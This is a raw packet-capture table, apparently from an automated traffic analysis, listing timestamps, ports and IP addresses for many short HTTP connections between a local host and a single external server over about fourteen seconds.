Apr 2, 2024 23:42:47.035567045 CEST	49757	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:47.519588947 CEST	49757	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:47.519988060 CEST	49758	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:47.799330950 CEST	80	49757	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:47.801287889 CEST	49757	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:47.802898884 CEST	80	49758	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:47.803004026 CEST	49758	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:48.363010883 CEST	49758	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:48.646274090 CEST	80	49758	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:48.646431923 CEST	80	49758	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:48.738684893 CEST	49758	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:48.979331017 CEST	49758	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:49.269937992 CEST	80	49758	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:49.269953012 CEST	80	49758	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:49.426189899 CEST	49758	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:49.547425985 CEST	49756	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:49.557017088 CEST	49758	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:49.557368040 CEST	49759	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:49.838376999 CEST	80	49759	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:49.838491917 CEST	49759	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:49.839992046 CEST	80	49758	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:49.840059996 CEST	49758	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:49.889236927 CEST	49759	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:49.894814968 CEST	49760	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:49.900073051 CEST	49759	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.035430908 CEST	49761	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.170512915 CEST	80	49759	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.170981884 CEST	80	49759	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.171039104 CEST	49759	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.178576946 CEST	80	49760	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.181253910 CEST	49760	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.183162928 CEST	49760	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.186177969 CEST	80	49759	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.186189890 CEST	80	49759	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.186229944 CEST	49759	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.188024998 CEST	49759	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.314043999 CEST	80	49761	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.316943884 CEST	49761	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.317101955 CEST	49761	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.466933012 CEST	80	49760	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.467394114 CEST	80	49760	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.467551947 CEST	49760	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.595489025 CEST	80	49761	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.595827103 CEST	80	49761	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.596025944 CEST	49761	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.751712084 CEST	80	49760	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.758713007 CEST	80	49760	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.874624968 CEST	80	49761	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.881119967 CEST	80	49761	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:50.908436060 CEST	49760	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:50.926184893 CEST	49761	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:51.117288113 CEST	49760	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:51.117286921 CEST	49761	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:51.117575884 CEST	49762	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:51.397039890 CEST	80	49761	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:51.397491932 CEST	80	49762	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:51.397548914 CEST	49761	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:51.397593021 CEST	49762	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:51.397768021 CEST	49762	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:51.402204037 CEST	80	49760	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:51.403326988 CEST	49760	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:51.678061008 CEST	80	49762	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:51.684247017 CEST	80	49762	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:51.684492111 CEST	49762	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:51.965267897 CEST	80	49762	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:51.971607924 CEST	80	49762	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:52.129302979 CEST	49762	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:52.182265043 CEST	49763	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:52.460386992 CEST	80	49763	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:52.460691929 CEST	49763	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:52.460855007 CEST	49763	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:52.738554955 CEST	80	49763	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:52.739104986 CEST	80	49763	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:52.739336967 CEST	49763	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.017225981 CEST	80	49763	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:53.023181915 CEST	80	49763	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:53.145031929 CEST	49763	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.145462036 CEST	49764	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.423444986 CEST	80	49763	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:53.423510075 CEST	49763	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.425712109 CEST	80	49764	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:53.425785065 CEST	49764	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.425947905 CEST	49764	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.555705070 CEST	49764	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.556266069 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.709547043 CEST	80	49764	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:53.709698915 CEST	80	49764	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:53.709788084 CEST	49764	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.720721006 CEST	49762	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.752895117 CEST	49766	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.838356018 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:53.840023994 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.840214014 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.844953060 CEST	80	49764	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:53.845005035 CEST	49764	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:53.845235109 CEST	80	49764	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:53.845274925 CEST	49764	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.027705908 CEST	80	49766	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.027787924 CEST	49766	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.027970076 CEST	49766	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.118259907 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.118784904 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.119062901 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.302802086 CEST	80	49766	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.303220987 CEST	80	49766	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.304893017 CEST	49766	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.397340059 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.397407055 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.397479057 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.397496939 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.397532940 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.397545099 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.397583961 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.397682905 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.397720098 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.397778034 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.580014944 CEST	80	49766	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.586354017 CEST	80	49766	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.675769091 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.675782919 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.675837994 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.675847054 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.675884962 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.676033974 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.676110029 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.676181078 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.676229000 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.676345110 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.676405907 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.676687002 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.676753044 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.676765919 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.676820993 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.705403090 CEST	49766	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.705739975 CEST	49767	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.954205990 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.954294920 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.954603910 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.954777002 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.954865932 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.955086946 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955199003 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.955221891 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955276966 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.955395937 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955420971 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955476999 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.955476999 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955528021 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.955544949 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955594063 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.955632925 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955643892 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955688953 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.955873966 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955888987 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.955950022 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.955998898 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956036091 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956094027 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.956131935 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956235886 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.956295013 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956341028 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956351042 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.956386089 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956391096 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.956437111 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.956569910 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956621885 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.956660032 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956671000 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956708908 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.956778049 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.956849098 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956896067 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.956948042 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.980540991 CEST	80	49766	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.981873035 CEST	49766	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.985647917 CEST	80	49767	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:54.985744953 CEST	49767	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:54.985904932 CEST	49767	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.233578920 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.233632088 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.233648062 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.233701944 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.233712912 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.233788967 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.233983994 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.233994007 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234034061 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234045029 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234452963 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234504938 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234589100 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234652996 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234664917 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234733105 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234822989 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234916925 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234952927 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.234963894 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235286951 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235299110 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235419989 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235558033 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235569000 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235611916 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235622883 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235691071 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235701084 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235713959 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235785007 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235838890 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235888958 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235898972 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235985041 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.235996008 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.236078978 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.236253023 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.236432076 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.236438036 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.265610933 CEST	80	49767	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.266047001 CEST	80	49767	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.266237020 CEST	49767	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.511926889 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.511972904 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.512007952 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.512020111 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.512058020 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.523711920 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.546076059 CEST	80	49767	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.553291082 CEST	80	49767	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.608916044 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.692418098 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.692503929 CEST	49767	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.692792892 CEST	49769	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.770807028 CEST	49770	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.970524073 CEST	80	49765	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.971237898 CEST	49765	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.972378969 CEST	80	49767	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.972507954 CEST	49767	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.973032951 CEST	80	49769	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:55.973094940 CEST	49769	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:55.973345041 CEST	49769	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.048585892 CEST	80	49770	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.049292088 CEST	49770	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.049717903 CEST	49770	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.254105091 CEST	80	49769	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.254585981 CEST	80	49769	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.254832983 CEST	49769	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.327334881 CEST	80	49770	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.327780008 CEST	80	49770	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.327986002 CEST	49770	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.535577059 CEST	80	49769	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.541454077 CEST	80	49769	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.605746031 CEST	80	49770	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.612541914 CEST	80	49770	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.629303932 CEST	49769	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.659243107 CEST	49769	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.659254074 CEST	49770	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.659584045 CEST	49771	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.937114954 CEST	80	49770	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.937179089 CEST	49770	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.939177990 CEST	80	49771	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.939254045 CEST	49771	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.939412117 CEST	49771	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:56.939580917 CEST	80	49769	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:56.940185070 CEST	49769	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:57.219532013 CEST	80	49771	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:57.219547033 CEST	80	49771	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:57.220606089 CEST	49771	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:57.500499010 CEST	80	49771	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:57.506309986 CEST	80	49771	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:57.629302979 CEST	49771	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:57.634016037 CEST	49772	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:57.916414976 CEST	80	49772	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:57.916637897 CEST	49772	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:57.916913033 CEST	49772	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:58.199217081 CEST	80	49772	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:58.199717999 CEST	80	49772	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:58.201446056 CEST	49772	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:58.485340118 CEST	80	49772	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:58.490797043 CEST	80	49772	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:58.535559893 CEST	49772	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:58.616770983 CEST	49772	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:58.617139101 CEST	49773	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:58.893512964 CEST	80	49773	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:58.893583059 CEST	49773	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:58.893837929 CEST	49773	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:58.899445057 CEST	80	49772	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:58.899534941 CEST	49772	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:59.170392990 CEST	80	49773	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:59.170864105 CEST	80	49773	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:59.171446085 CEST	49773	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:59.447680950 CEST	80	49773	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:59.455384970 CEST	80	49773	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:59.535614967 CEST	49773	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:59.589011908 CEST	49773	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:59.589349031 CEST	49774	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:59.865135908 CEST	80	49773	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:59.865215063 CEST	49773	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:59.871318102 CEST	80	49774	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:59.871414900 CEST	49774	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:59.871561050 CEST	49774	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:00.153669119 CEST	80	49774	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:00.154036999 CEST	80	49774	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:00.161078930 CEST	49774	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:00.443053007 CEST	80	49774	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:00.449309111 CEST	80	49774	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:00.564834118 CEST	49774	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:00.565027952 CEST	49775	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:00.846765995 CEST	80	49774	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:00.846782923 CEST	80	49775	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:00.846822023 CEST	49774	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:00.846874952 CEST	49775	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:00.847038031 CEST	49775	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:01.129020929 CEST	80	49775	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:01.129390955 CEST	80	49775	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:01.129633904 CEST	49775	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:01.414617062 CEST	80	49775	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:01.418020964 CEST	80	49775	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:01.473056078 CEST	49775	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:01.535536051 CEST	49775	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:01.536308050 CEST	49776	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:01.614840031 CEST	49777	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:01.814376116 CEST	80	49776	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:01.814460993 CEST	49776	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:01.814660072 CEST	49776	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:01.817504883 CEST	80	49775	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:01.817565918 CEST	49775	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:01.895231962 CEST	80	49777	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:01.895344019 CEST	49777	80	192.168.2.4	62.109.7.175
